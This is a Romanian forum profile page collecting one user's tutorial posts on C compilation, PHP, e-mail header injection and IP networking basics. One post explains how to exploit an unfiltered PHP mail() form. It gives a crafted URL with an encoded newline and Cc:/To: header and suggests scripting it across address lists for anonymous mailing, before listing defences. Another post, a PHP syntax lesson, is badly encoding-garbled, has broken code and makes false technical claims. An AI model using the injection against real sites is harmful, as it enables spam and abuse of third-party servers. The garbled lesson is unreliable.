
ghici
Active Members-
Posts
258 -
Joined
-
Last visited
Never
Everything posted by ghici
-
ca n-am auzit..1 sapt nam avut net
-
niceeee...as fi vrut sa fi fost si eu
-
Avand in vedere ca e prima lectie din curs, sa va spun despre ce e vorba. Cursul il fac pe un sistem UNIX (FreeBSD 6.1) si folosesc ca si compilator cc. Nu e obligatoriu sa folositi si voi acelasi sistem si acelasi compilator, dar e de preferat sa aveti la dispozitie un shell UNIX pentru a nu aparea pe parcurs probleme de incompatibilitate. In principiu nu ar trebui sa apara probleme daca folositi ca sistem de operare orice alt sistem UNIX sau UNIX-like sau daca in loc de cc folositi gcc. Daca singurul sistem de operare care il aveti la dispozitie e un Windows aveti doua variante... fie va faceti rost de un LiveCD cu care rulati Linux pe perioada testelor fie va faceti un cont la arbornet.org (sau oriunde altundeva puteti) si faceti testele "remote". Pentru prima lectie avem nevoie de sursa unui program simplu. Cel mai simplu program (corect) posibil este urmatorul: int main(){     return 0; } Ce face programul ? Absolut nimic. Si prin nimic inteleg: nu accepta nici un fel de date de intrare si (la prima vedere) nu da nici un fel de date de iesire. Intram mai in amanunt mai tarziu, momentan sa vedem ce face un compilator. Compilatoarele sunt de multe feluri fiecare cu avantajele si dezavantajele lui. Probabil ati auzit de cele mai comune compilatoare sub UNIX, cc, CC, gcc, g++ sau altele. Ce fac compilatoarele astea ? Ca sa intelegeti ce fac compilatoarele, intru putin in dedesubturile programelor. Un program este facut in cod masina. Adica, un cod care il intelege doar sistemul de operare, un cod in care fiecare caracter (octet) reprezinta ceva, o instructiune, ceva ce trebuie facut. Daca deschideti un executabil cu un editor de texte obisnuit va dati seama despre ce vorbesc... Codul masina e destul de greu de inteles pentru oamenii de rand si foarte greu de depanat, asa ca s-au facut limbaje de programare. Limbajele de programare sunt niste reguli de compozitie care puse cap-la-cap pot fi prelucrate de un alt program (compilator) pentru a fi transformate din cuvinte usor de inteles in cod masina. Primul limbaj de programare care a aparut, limbajul cel mai apropiat de codul masina, este limbajul de asamblare. Limbajul de asamblare este cel mai "brut" limbaj posibil... adica atunci cand programati in limbaj de asamblare lucrati direct cu registrii procesorului, cu intreruperile BIOS (sau apelurile de sistem in UNIX), de fapt... vorbiti pur si simplu cu procesorul si componentele care le aveti in PC. Oricat de rapid si apropiat de codul masina ar fi limbajul de asamblare, este totusi greoi. Chiar daca este mult mai usor de inteles decat codul masina, trebuie multe cunostinte de functionare interna a CPU-ului pentru a putea programa in limbaj de asamblare. Astfel, s-au facut alte limbaje de nivel inalt (BASIC, Fortran, Pascal, etc). Limbajele de nivel inalt au avantajul ca inteleg ce vrem noi sa spunem chiar daca nu vorbim direct cu procesorul si chiar daca spunem doar 2 cuvinte in loc de o pagina de instructiuni de genul jne, mov, push etc. De fapt, ce fac limbajele de nivel inalt ? Asta urmeaza sa vedem mai departe. Limbajele de nivel inalt nu valoreaza nimic fara un compilator. Compilatorul este cel care da putere limbajului. A invata un limbaj de programare e ca si cum ati invata o limba straina. E un lucru foarte util mai ales daca e vorba de limba engleza sau franceza dar e complet inutil sa stii o limba straina daca nu exista o persoana care sa asculte si sa inteleaga ceea ce spui. In cazul calculatoarelor, "persoana" care intelege si aplica ceea ce spunem este compilatorul. Un compilator ia informatia care o dam intr-o anumita forma (adica scrisa intr-un limbaj de nivel inalt) si o transforma intr-un limbaj necunoscut noua... transforma codul dat de noi in Fortran, C, Pascal, Basic in limbaj de asamblare. Deci, ca sa tragem o concluzie, un compilator al unui limbaj de nivel inalt ia codul scris de noi si il transforma intr-un cod echivalent scris in limbaj de asamblare. Asta ar fi prima faza prin care trece un program... orice program ati scrie, in orice limbaj, inainte de a-l putea rula este "translatat" in limbaj de asamblare. Al doilea pas care il face compilatorul e sa ia codul translatat si din el sa genereze un fisier obiect care poate fi inclus mai apoi intr-un executabil. In UNIX fisierele obiect le recunoasteti dupa extensia .o. Stiu, peste tot ati citit ca in UNIX nu conteaza extensia, dar ca regula toate fisierele obiect au extensia .o. Al treilea pas care il face compilatorul e sa ia fisierul obiect generat, si impreuna cu alte fisiere obiect (daca sunt specificate) sa formeze un program executabil, acesta fiind ultimul pas. Probabil, cei mai experimentati, stati si va intrebati "Cum naiba face atatia pasi ? ca eu ii dau comana si imi da executabilul..." Aveti dreptate. Orice compilator nou mascheaza tot procesul de compilare si afiseaza doar rezultatul final, dar este important sa intelegeti toate etapele prin care trece un program de la creerea lui pana la punerea in utilizare. OK, acum ca ati inteles (sper) ideea de compilare sa facem si cateva exemple sa vedem concret cum se comporta compilatorul: Compilare standard bash2-2.05b$ cat l1.c int main(){     return 0; } bash2-2.05b$ cc l1.c -o l1 bash2-2.05b$ ./l1 bash2-2.05b$ * l1.c este fisiul care contine codul prezentat mai sus Ce am facut ? Prima data am folosit comanda cat care imi arata continutul fisierului l1.c. Nu e obligatorie... am facut-o doar pentru a intelege "cine" e l1.c apoi am rulat comanda cc l1.c -o l1. cc este compilatorul standard in UNIX. In FreeBSD si in majoritatea distributiilor de Linux, cc este de fapt un alias pentru gcc (GNU C Compiler). Am apelat comanda cc si i-am dat ca parametru fisierul l1.c (fisierul sursa) si -o l1 care ii spune compilatorului sa puna rezultatul final in fisierul l1. Compilarea a decurs fara probleme, am rulat fisierul rezultat ( ./l1 ) care nu a facut nimic (dupa cum v-am spus si mai sus) si acum suntem din nou fata-in-fata cu promptul. Bun, hai sa trecem mai departe sa vedem concret ce s-a intamplat. Vom forta compilatorul sa ne arate fiecare pas care il face. Primul pas Dupa cum am spus, primul pas este "transformarea" codului C in limbaj de asamblare. Ca sa fortam compilatorul sa ne arate acest pas, folosim parametru -S care ii spune sa salveze sursa in limbaj de asamblare iar apoi sa se opreasca (adica nu compileaza programul). Sa vedem ce iasa: bash2-2.05b$ cat l1.c int main(){     return 0; } bash2-2.05b$ cc -S l1.c bash2-2.05b$ cat l1.s     .file  "l1.c"     .text     .p2align 2,,3 .globl main     .type  main, @function main:     pushl  %ebp     movl   %esp, %ebp     subl   $8, %esp     andl   $-16, %esp     movl   $0, %eax     addl   $15, %eax     addl   $15, %eax     shrl   $4, %eax     sall   $4, %eax     subl   %eax, %esp     movl   $0, %eax     leave     ret     .size  main, .-main     .ident  "GCC: (GNU) 3.4.4 [FreeBSD] 20050518" bash2-2.05b$ Dupa cum vedeti, am folosit din nou comanda cat pentru a vedea continutul fisierului l1.c. Apoi am executat comanda cc -S l1.c care a luat fisierul l1.c (sursa programului) si a generat sursa echivalenta in limbaj de asamblare care a salvat-o in fisierul l1.s. Din nou am folosit comanda cat pentru a vedea continutul fisierului l1.s (daca nu intelegeti nimic, nu-i nici o problema... foarte probabil nu veti avea nevoie de asa ceva niciodata). Al doilea pas Al doilea pas in compilarea programului presupune sa luam sursa generata (l1.s) si sa creem un fisier obiect. Pentru asta folosim compilatorul cc cu parametrul -c. Mai jos vedeti exemplul: bash2-2.05b$ cc l1.s -c bash2-2.05b$ ls l1.c  l1.o  l1.s bash2-2.05b$ file l1.o l1.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (FreeBSD), not stripped bash2-2.05b$ Ce am facut ? Am dat comanda cc l1.s -c care a preluat fisierul l1.s (care contine programul in limbaj de asamblare) si am generat fisierul obiect ( parametrul -c ). Dupa cum vedeti, a aparut fisierul l1.o care il putem include intr-un alt program sau il putem trece prin faza de link-are, adica de creare a programului. Am folosit comanda file pentru a verifica tipul fisierului. Rezultatul ne confirma ca este un fisier ELF 32-bit LSB reloctable, adica un fisier obiect. Al treilea pas - ultimul Si, intr-un final, folosim din nou comanda cc pentru a genera fisierul executabil din fisierul l1.o. Asta se face in felul urmator: bash2-2.05b$ cc l1.o -o l1 bash2-2.05b$ ls l1*  l1.c  l1.o  l1.s bash2-2.05b$ file l1 l1: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 6.1, dynamically linked (uses shared libs), not stripped bash2-2.05b$ Ce am facut ? Am apelat comanda cc l1.o -o l1 care a preluat fisierul l1.o si a creat un executabil caruia i-a dat numele l1. Daca nu specificam -o l1 compilatorul salva executabilul cu numele a.out. Dupa cum se poate vedea, din nou am folosit comanda file care ne arata de data asta ca fisierul este de tipul ELF 32-bit LSB executable, adica un "executabil cu acte in regula". Rezumat 1. Un compilator este un program care ia codul sursa scris de noi intr-un limbaj de nivel inalt (in cazul nostru C) si il transforma intr-un cod sursa echivalent in limbajul de asamblare care apoi este transformat intr-un fisier obiect care este apoi inclus intr-un executabil scris in cod masina. 2. Pentru a studia fiecare pas care il face compilatorul putem folosi parametrii -S pentru a salva sursa in limbaj de asamblare si -o pentru a salva fisierul obiect inainte ca acesta sa fie inclus intr-un fisier executabil. 3. Pentru a ne usura treaba, compilatoarele moderne ne dau direct executabilul facand restul fazelor de compilare transparente pentru utilizator. 4. Chiar daca e mult text, compilarea nu are nimic mistic sau filosofic in ea si e la mintea oricui
-
http://www.oriceon.com/tutorial/descarca/t...torial_v2.1.rar
-
Daca aveti un site si un formular de mail in sectiunea contact, probabil ati fost deja victima unui "E-Mail Injection". La ce e bun ? E-Mail injection se refera la o vulnerabilitate care apare in foarte multe site-uri si care permite unui atacator sa "injecteze" headere in scriptul care trimite mail. Tehnica e folosita in majoritata cazurilor de spameri sau de persoane care dintr-un motiv sau altul vor sa trimita un mesaj 100% anonim. Cum functioneaza ? Pentru a injecta mail avem nevoie o victima cu un formular vulnerabil care trimite mail prin functia mail() din PHP. Sa luam urmatorul scenariu: 1. Formularul: Ceva simplu cu un camp From (sau 'Mailul dv.') si un camp text in care sa puteti scrie mesajul. Probabil ati vazut asa ceva pe multe site-uri. <form method="GET" action="mailer.php"> From:<input type="text" name="from" /> Message:<textarea name="message" cols="20" rows="7"></textarea> <input type="submit" value=" Send! " /> </form> 2. Scriptul: Un script simplu care ia datele si le trimite: $from = $_GET['from']; mail('adresa la care se trimite','subiect',$_GET['message'],"From: $from"); 3. Concret: Dupa cum vedeti, functia mail trimite mail la o anumita adresa iar expeditorul este adresa care o introduceti in campul 'from'. OK, nu e chiar asa, dar asa pare la prima vedere. Daca al patrulea camp al functiei mail() (campul corespunzator headerelor) contine cuvantul cheie From:, clientul de mail considera ca mesajul vine de la adresa specificata in campul 'from'. Nimic iesit din comun pana acum, nu ? Asa e... dar in simplitatea lui, scriptul poate fi exploatat. Dupa cum se vede campul 'from' nu este filtrat. Asta inseamna ca se pot "injecta" date care vor fi trimise ca headere in mesaj. Ganditi-va ce s-ar intampla daca dupa adresa de mail am adauga urmatorul text: Cc%3A%20victima @ server.com. Ca sa lamuresc putin textul, formularul trimite prin GET, ceea ce inseamna ca unele caractere sunt "codate" pentru a nu aparea erori. Astfel, caracterul ':' este transformat in '%3A' iar caracterul ' ' (spatiu) este transformat in '%20'. Deci, ce am pus acolo este echivalent cu: "Cc: victima @ server.com". Daca trimitem datele din formular vom vedea in bara de adresa un camp de o forma asemanatoare cu: http : //server.com/mailer.php?from=mail%40domeniu.com&message=mesaj. Asta, bineinteles, pentru ca am trimis prin metoda GET. Ca sa injectam un header va trebui sa editam manual adresa respectiva si sa o facem de forma: http : //server.com/mailer.php?from=mail%40domeniu.com%0ACc%3A%20victima @ domeniu.com&message=mesaj. Ce am facut, de fapt ? am modificat valoarea variabilei from si am adaugat un rand nou (%0A e ENTER codat pentru metoda GET) si am adaugat Cc%3A%20victima @ domeniu.com care, dupa cum am spus mai sus, este "Cc: victima @ domeniu.com". Cand apelam adresa de mai sus acelasi mesaj va fi trimis in 2 casute de mail. Una dintre casute va fi cea specificata de autorul scriptului iar cea de-a doua va fi cea specificata in linia Cc:. Altfel spus, avem un script care cu mici "retusari" va trimite mailul la adresa dorita de noi, nu doar la cea implicita. Pentru a nu mai trimite mesajul si la adresa implicita, schimbati Cc: cu To:. In multe cazuri functioneaza si adresa implicita va fi ignorata in favoarea adresei din linia To:. OK, acum avem un formular care se poate exploata. De aici poate face fiecare dupa cum il duce imaginatia. E relativ usor sa faceti un script care va apela formularul cu parametrii diferiti pentru fiecare adresa dintr-o lista sau ceva asemanator. Cum ne putem proteja ? Relativ simplu. Va dau 3 idei: 1. Folositi POST ca metoda de trimitere in loc de GET. Cu POST e o idee mai complicat si multi se lasa descurajati 2. Folositi un filtru care verifica daca exista mai mult de un caracter '@' sau daca exista cuvintele cheie "From:", "To:", "Cc:", "Bcc:". 3. Folositi un formular cu cod de securitate. Adica, o imagine care va arata un cod care trebuie introdus intr-un camp al formularului. Avantajul mare la codul de securitate e ca... chiar daca reuseste cineva sa trimita un mail anonim, nu va putea face un script care sa-i faca treaba pentru ca scripturile nu pot citi codul din imagine
-
Ma chinuiam mai devreme sa fac un 'sig-bar' ca tot sunt la moda si am dat de o problema. L-am facut si am vrut sa-l uploadez la arbornet.org dar... nu am putut. ftp-ul nu mergea. L-am uploadat pe un alt site si am incercat cu wget si fetch in ideea ca pot sa-l scot de acolo (vroiam neaparat arbornet) dar nu mergea nicicum... nu am dreptul sa folosesc wget sau fetch... OK, am tras aer in piept si am zis "E timpul pentru un mini-hack." Ca sa am, totusi, fisierul operabilus.jpg acolo am facut un script PHP (arbornet ofera si suport PHP) care citeste fisierul dintr-o locatie externa si il scrie intr-un fisier local. A mers totul ok fara nici o problema si m-am gandit sa pun aici scriptul in ideea ca poate cineva va avea nevoie de o solutie asemanatoare. Scriptul arata cam asa: Code: <?php $fp = f open('http://www.site-ul_meu.ro/fisier.jpg','r'); if(!$fp)     die('Nu pot citi fisierul remote'); $f2 = f open('operabilus.jpg','w'); while(!feof($fp)){     $c = fgetc($fp);     f write($f2,$c,1); } ?> OK, ce face ? $fp e un pointer catre fisierul fisier.jpg de pe site-ul pe care am pus imaginea initial si $f2 e un pointer catre un fisier local gol (daca nu e gol va fi sters continutul cand se deschide) in care punem fiecare caracter citit din $fp. Adica, copiem caracter cu caracter $fp in $f2. Problema putea fi rezolvata si altfel... sa fac un formular cu un camp 'file' iar apoi sa copiez din $_FILES fisierul in locatia care ma intereseaza, dar am preferat varianta caracter-cu-caracter pentru ca poate fi rulata si din shell, nu trebuie apelata neaparat prin web. Adica, metoda functioneaza pe orice server care are PHP instalat chiar daca nu ruleaza nici un server web pe sistem sau daca ruleaza un server web dar din diferite motive (restructii htaccess) nu puteti accesa nici o pagina. Sper sa gasiti textul de mai sus educativ. Bafta !
-
NO??IUNI GENERALE DESPRE SINTAXA PHP Ce trebuie s?? Â?tim pentru ?Žnceput despre sintaxa PHP? Orice script PHP ?Žncepe cu <? sau <?php Â?i se termin?? cu ?> Dup?? fiecare instruc?žiune se pune punct Â?i virgul?? ( O instruc?žiune repetitiv??, asemenea C#`ului, este ?Žncadrat?? ?Žntre { Â?i } Instruc?žiunile pentru afiÂ?are sunt echo Â?i print. Am??ndou?? sunt la fel, dar este indicat a se folosi instruc?žiunea echo deoarece, ?Žn timp ce instruc?žiunea print trimite 5 bi?ži la motorul de prelucrare, instruc?žiunea echo trimite doar 4. Chiar dac?? pare de neglijat, la 100 de instruc?žiuni print ?Žntr`un script, 5000 de utilizatori ce folosesc simultan script`ul, ?Žnseamn?? 500.000 de bi?ži (500 k). Cu timpul v?? voi prezenta Â?i alte instruc?žiuni (printf, sprintf etc), dar fiecare la timpul ei Orice con?žinut de tip text ce trebuie afiÂ?at, este ?Žncadrat ?Žntre ghilimele ("" sau apostrofuri ('') - caz ?Žn care nu se prelucreaz?? variabilele. Hai s?? realiz??m primul script ?Žn PHP. <? echo " Primul meu script ?Žn PHP</p>"; ?> Script`ul rulat de pe server, ?Žntr`un browser, va avea ca rezultat afiÂ?area textului "Primul meu script ?Žn PHP" . Func?žiile Am ales acest subiect pentru discu?žie ?Žnaintea variabilelor, deoarece nu se pot face prea multe cu variabilele, f??r?? a folosi func?žii. O func?žie reprezint?? o serie de instruc?žiuni simple ce dau un rezultat util (sper c?? m`am exprimat bine). PHP include multe func?žii predefinite, dar pute?ži crea manual o func?žie. O func?žie are forma: functie(parametri). O func?žie interesant?? este phpinfo() care afiÂ?eaz?? un tabel imens cu toate informa?žiile despre Web Server, SGBDR, versiunea de PHP etc. Exemplu de func?žie: function creare_tabel($valoare){        echo '<table border="1">        reset($valoare) // Aceast?? instruc?žiune se foloseÂ?te pentru a indica ?Žnceputul unei matrici        $data=current($valoare);        while($data){                echo "<tr><td>$data</td></tr>n"; // Re?žine?ži c?? dac?? am fi folosit apostrof ?Žn loc de ghilimele, s`ar fi afiÂ?at $data de fiecare dat??, ?Žn loc de valoarea variabilei $data                $value=next($valoare); }                }        echo '</table>'; } Fie variabila tip matrice (pe care o vom discuta mai t??rziu) $matrice"Valoare 1","Valoare 2","Valoare 3"; creare_tabel($matrice); Prin apelarea func?žiei creare_tabel cu variabil?? de prelucrare variabila $matrice, se va crea un tabel cu fiecare valoare a matricei pe un r??nd separat. Nu uita?ži: orice func?žie are un nume Â?i un parametru scris ?Žntre paranteze rotunde. Dac?? parametrul este void (teoretic nu exist?? se vor pune doar parantezele Variabile Variabila este o m??rime care poate s?? aib?? diferite valori. Deci este ?Žn m??rimea ei variabil??. Variabilele se numesc Â?i necunoscute. Ele apar ?Žn formule Â?i ecua?žii. ??n informatic??, o variabil?? reprezint?? un spa?žiu rezervat pentru o anumit?? informa?žie. Informa?žia poate reprezenta orice: text, num??r, obiect, func?žie, chiar Â?i alt?? variabil??. O variabil?? ?Žncepe cu semnul dolar ($). Poate con?žine text Â?i cifre, simboluri, dar ?Žn nici un caz doar cifre. Exemple de variabile: $variabila1 $alta^variabila Variabile tip text Variabilele de tip text pot con?žine orice tip de informa?žie: de la simplu text, p??n?? la javascript sau alt tip de cod ce poate fi executat ?Žntr`o pagin?? web. Exemplu de variabile text: Pe c??nd prima variabil??, odat?? afiÂ?at??, va afiÂ?a un simplu text, a doua variabil?? va executa un cod javascript (pentru cei ce vor s?? fie la curent cu timpul ). Pentru a executa un cod PHP dintr`un fiÂ?ier, se foloseÂ?te comanda exec(fisier). Pentru a concatena (a uni) dou?? variabile tip text, se foloseÂ?te operatorul punct (.) Ex: <? $var1="Salieri is"; $var2="a fuckn geek"; $var3=$var1.$var2; echo $var3; ?> Rularea script`ului va aduce ca rezultat ?Žn fereastra browser`ului textul "Salieri isa fuckn geek". Am scris legat "is" Â?i "a" deoarece la concatenare, nu se includ Â?i spa?žii. Func?žii des utilizate pentru variabilele tip text: str_replace("text_cautat","text_de_inlocuire"; - ?ŽnlocuieÂ?te un model de text cu alt model strtoupper($variabila); - formateaz?? toate caracterele din string, rezultatul fiind acelaÂ?i text, dar scris cu liter?? mare strtolower($variabila); -formateaz?? toate caracterele din string, rezultatul fiind acelaÂ?i text, dar scris cu liter?? mici trim($variabila); - elimin?? toate spa?žiile ?Žn plus de la ?Žnceputul Â?i sf??rÂ?itul string`ului V?? voi prezenta ?Žntr-o lec?žie viitoare o lec?žie doar cu func?žii. by Salieri
-
Daca in lectia numarul doi am discutat despre cum e format un IP si in mare care e rolul transformarii sale in forma binara si ce si cum face subnet mask in lectia numarul trei ne vom ocupa mai bine de acest IP. Punctele care le voi strabate in aeasta lectie sunt urmatoarele : -clase de IP-uri { ramase doar amintite in lectia doi -IP-uri speciale , rezervate { gen loopback , APIPA , multicast ,private } Deci hai sa incepem : Adresa loopback -este de forma 127.0.0.1 ,face parte din reteaua 127.0.0.0. -este folosita pentru verificarea instalari si functionari corecte a protocolului TCP/IP { adica practic daca merge sau nu adaptorul de retea / partea logica } -cum se foloseste ? Windows Key+R -> cmd -> ping 127.0.0.1, daca primiti replay-uri de la 127.0.0.1 totul e ok.Daca nu mai bine reinstalati odata TCP/IP { vom vorbi in lectile viitoare cum facem aceasta chestie }. APIPA -este un segment de IP-uri rezervate cu un anumit scop.Scopul este ca atunci cand nu functioneaza DHCP server { vom vorbi despre el mai tarziu } comnputerul sa-si puna automat o adresa pentru a putea comunica cu reteaua. -adresele sunt din segmentul : 169.254.0.1 - 169.254.255.254 -daca aveti o adresa de genu 169.254.1.2 , am luat-o aleator , nu va speriati , serverul DHCP care trebuia sa va dea IP dinamic ,nu si-a facut treaba. Tip : -pana a vorbi in mare despre serverul DHCP trebuie sa stim ca acesta este un server , care are rolul sa imparta IP-uri dinamic in retea , dintr-o clasa / segment IP-uri , rezervate special . Broadcast -desi inca nu putem intelege structura acestora fizica , deoarece tine de teoria bitilor care inca nu am prezentat-o decat i-am facut introducerea in lectia doua , trebuie sa stim ca aceste adrese au rolul de a trimite informatiile la toti cei din retea , folosim un singur IP broadcast pentru a trimite un mesaj la toti.Mai simplu e si cum am da mass pe messenger .O explicatie banala ar fi persoana care vine sa stsanga factura la gaze , nu se mai duce fiecare om/IP sa trimita mesajul/bani ci vine broadcastul .Ceva de genu. -este foarte folosit , multe protocoale se bazeaza pe broadcast frame's { frame=pachet retea level 2 } spre a afla MAC-ul , hostnameul , si multe altele al unui computer remote. Multicast -este tot in genul braoadcast , numai ca diferenta majora este ca aceasta persoana cu gazele nu mai vine la toata lumea, ci doar la clienti care nu si-au platit la timp gazele si au restatnte,defapt multicast inseman a da un mesaj numai la o anumita grupa din totalul IP-urilor , nu la toti cum era la broadcast. -este folosit de routere pentru schimbul tabelelor de routare,fiecare protocol de routare avend adresa sa multicast pentrua ajunge numai la acele routere care folosesc respectivul protocol de routare . Sper ca nu e prea greu de inteles. -este folosit si de alte programe , cum ar fi BorgChat , am dat un exemplu , care mi s-a parut la indemana.Acesta foloseste si brodcast si muticast -fac parte din clasa D de IP-uri Adrese private *10.0.0.0-10.255.255.255 *172.16.0.0-172.31.255.255 *192.168.0.0-192.168.255.255 -sunt folosite pentru a "scapa" de folosirea masiva de IP-uri routabile /publice , poate ati auzit si voi de NAT ? Vom reveni cu amanunte in lectiile viitoare. Clasa E de IP-uri -este rezervata special pentru cercetare Cam asta a fost pe lectia de azi , vom reveni in lectiile urmatoare cu aprofundari si noutati by !_30
-
Daca in prima lectie am prezentat date generale despre cum si de ce au aparut retelele , precum si detalii minore despre IP , subnet mask si default gateway , in aceasta a doua lectie ne vom ocupa pe cat posibil de structura si tipurul IP-urilor. Recapitulare IP-ul , este un protocol ,dupa cum ii spune si numele { Internet Protocol } folosit pe Internet / retele cu scopul practic de a face conectivitate intre PC-uri , adica mai pe scurt cum se ajunge de la X la Y.{ practic cine e X si cine e Y }.Defapt sa intelegeti mai bine , IP-ul este ca numele unei persoane , si daca ii stii numele / IP-ul , printr-un procedeu mai complicat se poate ajunge la aceea persoana nu ? {Google rulez /routing } . Deci hai sa discutam despre IP-uri , cine si cum le distribuie , cui si de ce ? IANA are roul de a tine si distribui IP-uri din clasele nerezervate { o sa discutam mai tarziu despre acestea } .Impreuna cu inca cateva "distribuitoare" impartite global , are rolul de a imparti segmente IP ISP-urilor mari , care vor da segmente de Ip la ISP-uri mai mici { pana se ajunge la retele de cartier , stiute de noi } . Segmente IP sunt clasele de IP-uri , mai multe clase alcatuind un segment , o portiune din marea de IP-uri. Dupa cum stiti din prima lectie , IP-ul arata in felul urmator : 192.168.1.2 -simplu nu ? observam usor ca IP-ul este alcatuit din 4 bucati si : 192 , 168, 1 , 2. -aceste bucati se numesc octeti , de ce ? deoarece cum IP-urile au fost facute sa fie gandite in forma binara putem observa usor ca oricare dintre cele 4 portiuni este exprimata in limbaj binar in o serie de 8 { numere binare , 0 , 1] per exemplu : 192 = 11000000 TIP's -un octet = 1 byte , are 8 bite's { 1 bite = 0 , 1 } -un word = 2 byte's , are 16 bite's { 1 bte = 0 , 1 } Dar totusi pentru ce este necesara aceasta convertire a IP-urilor in limbaj binar ? Pentru procedeul numit sub-retelare si subnet-mask Da detaliile de mai sus , nu pot fi intelese acum , dar practic sub-retelare , inseamna impartirea unei retele in mai multe retele mai mici. Practic sa luam exemplul ca o firma primeste o clasa de IP-uri , si are 3 filiale in locatii diferite , ce va face ? Imparte aceasta clasa de IP-uri astfel incat fiecare filiala sa aiba o bucata din acea clasa de IP-uri .Cam asta e cu sub-retelearea , subretele. Aici apare si notiunea de subnet-mask , subnet = subretea , ce este ea defapt in limbaj nu chiar asa sofisticat ? Este un fel de regula , masca , teorema , sau cum vreti sa-i spunem care ne ajuta sa impartim acea clasa de IP-uri la cele 3 filiale , pe masurile nevoilor fiecarei filiale.Sper ca nu e prea greu de inteles acest concept , care va deveni foarte complicat. Cum arata aceasta masca : 255.255.0.0 -nu se poate sa nu o fi vazut-o , vreodata , are tot 4 octeti ca si un IP v4 , si normal si aceasta se face intelesa in forma binara. -are un rol simplu, dacao punem dedesuptul unui IP , {IP in forma binara } si subnet maskin forma binara , ne va arata cum acea clasa de IP-uri este impartita filialelor in mod cum fiecare are nevoie. Aceasta explicatie , isi poarta numele de " teoria bitilor " si este destul de complicata pentru un simplu incepator , pentru care se etaleaza acest curs , deci va fi explicata mai in detaliu in lectiile viitoare.Ce trebuia de stiut pana la acest moment a fost prezentat mai sus. Ca tot am discutat de IP-uri , si am inteles ca acestea sunt formate din 4 octeti , trebuie sa mai intelegem un lucru esential , care desigur va fi prezentat in detaliu in lectiile viitoare. Privind un IP de genu 192.168.1.2 trebuie sa stim ca fiecare octet , sau bucata din octet reprezinta ceva , are un anumit rol.Partea din stanga ne prezinta reteaua din care face parte [ segmentul din care face parte } sa zicem ca aici ar fi reteaua 192.168.0.0 ( luand primi doi octeti ca parte de retea ) si partea din dreapta ne prezinta hostul , al catelea IP din retea este respectivul. Nu se poate sa nu fi remarcat la IP-ul dumneavoastra ceva de genu 87.23.4.5 si sa zici , eu am al 5-lea IP ca se termina cu 5 si fac parte din reteaua X , care incepe cu 87 ,si am un default gateway de genu 87.23.4.1 . Asa-i ? Deja se complica treaba asa-i ? Nu ma refer la cei care se pricep in domeniu. Ce trebuie sa mai stim ? Ip-urile sunt de doua tip-uri , publice si private .Ce trebuie sa stim acum ? Publice sunt unice pe Internet si sunt routabile deci se pot "plimba" pe internet , pe cand cele private , au nevoie de o "acoperire" , stiti si voi poate de NAT , translatare IP , pentru a putea iesi afara pe net si sa se "plimbe" in voie.Este ca si cum daca nu ai cu ce sa te imbraci nu poti iesi pe strada , ramai privat in casa , dar daca gasesti o haina poti iesi , IP-ul routabil / public e haina fara de care , Ip-ul privat nu poate iesi din casa / LAN . De ce au aparut IP-uri private ? -datorita micsorari numarul de IP-uri disponibile -datorita preturilor mari/foarte mari initiale a unei clase de IP-uri. Ce trebuie sa mai stim la final de lectie ? Ip-urile sunt impartite in clase , 5 clase , A,B,C,D,E. care au un rol bine-definit , sa prezinte cate hosturi si cate retele se pot forma cu un segment de retea.Restul detaliilor se vor prezenta de-a lungul lectiilor viitoare . Spor ! by !_30
-
Deci hai sa incepem , stiu ca nu prea am calitati pedagogice extraordinare insa incercarea moarte nu are Ca tot suntem la capitolul retele , si este prima lectie , din acest curs , care este intebarea principala ?  * Ce este o retea ? * In fine , nu o sa scriu aici definitia standard din RFC , si o sa dau una pe intelesul tuturor : O retea este o "multime" de calculatoare , de la 2 sau mai multe , { chiar si un singur calculator , vom discuta mai tarziu} , avand ca scop impartirea de informatii (fisirere , jocuri , muzica), resurse ( imprimante , scannere , faxuri ) , cam pentru asta a fost facuta in mare. Cam asta a fost cu definitia , repet o definitie la mintea cocosului , dar numai asa noi-venit in acest domeniu vor intelege tainele acestui frumos si atragator domeniu. Alta intrebare ? De ce au aparut retelele ? Posibil pentru majoritatea o intrebare penibila cu un raspuns banal , dar in consistenta banalitati se implica un raspuns cat decat complex.Nu tin minte anii prea bine , dar " istoria " spune ca la inceput erau intr-o organizatie n calculatoare , va imaginati si respectivul user X , avea pe PC o aplicatie , pe care o updata saptamanal , of course ceilalti useri trebuiau sa aiba aceste informatii.Ce faceau ? Se duceau si copiau pe discheta din PC=ul lui X acea aplicatie pentru a primi updadate-urile necesare impreuna cu aplicatia.Va dati seama , desi pare "de ras" , totul a inceput cu "roata".Si unul mai destept , in fine , s-a gandit la chestia cu reteaua , a aparut standardul Ethernet , pentru retele stiti si voi , facut de XEROX , daca nu ma insel prin ani '70. Zis si facut respectiva organizatie , avea n PC-uri / terminale / servere cum vreti sa le spuneti legate alcatuind ce-i vom spune azi un LAN , deci recapituland un LAN reprezinta n calculatoare , legate impreuna , prin cabluri { si alte legaturi } pentru a face schimb de informatii mai usor { fara sa mai mergi cu discheta }. Problema a intervenit ca respectivul patron si-a marit firma si a deschis o filiala si in celalat capat al orasului Y.Deci 2 LAN-uri s-au nascut.Problema era Ca in filiala 1 era o aplicatie care era necesitata si de cei din filiala 2.Saptamanal cei din filiala 2 , se deplasau pentru a aduce pe discheta informatiile updatate.Parca ceva "scartia".Folosind standardul "dial-up" { conectare WAN / INTERET prin linia telefonica deja existenta } acestia au legat cele doua retele.Si ce au obtinut : o "forma" minora de MAN . -Deci ce este MAN-ul ? Interconectarea a 2 sau mai multe LAN-rui pentru a face schimb de informatii { recapitulati mai sus } .Stiti cum se zice " am access metro ",deci aveti access la celelalte LAN-uri din oras/judet/area { la area ma refer la o portiune mai mare , retele interconectate pe distante mari } . Dar totusi ceva scartia , respectivul patron , pune bazele celei de-a 9 filiala intr-o alta tara,aceasi poveste , dar avand "cunostintele" de la cele doua retele care au format MAN-ul leaga filiala 9 de celalate , si formeaza WAN-ul : Deci ce este WAN-ul ? WAN-ul este o interconectare de LAN-uri ,MAN-uri pe distante mai mari decat oras/judat/area mica -medie.Se foloseste la distante mari , gen tari/continente. Cel mai mare WAN : Internet-ul + reteaua de sateliti . Hai ca o dam in povesti .Dar totusi pentru ca fiecare computer sa pate conecta si sa fie unic , are nevoie de un nume unic , practic fiecare placa de retea , are un MAC , o adresa , cum e numele unei persoane , care ar trebui sa fie unica, teoretic este, dar practic nu prea si e.Dar totusi nu era de-ajuns si a aparut IP-ul , fiecare PC avea un IP unic , spre a putea comunica cu celalalte , gen pe mine ma cheama 01 si pe tine 02 , si trimit informaiti de la 01 -> 02 sau 02 -> 01. 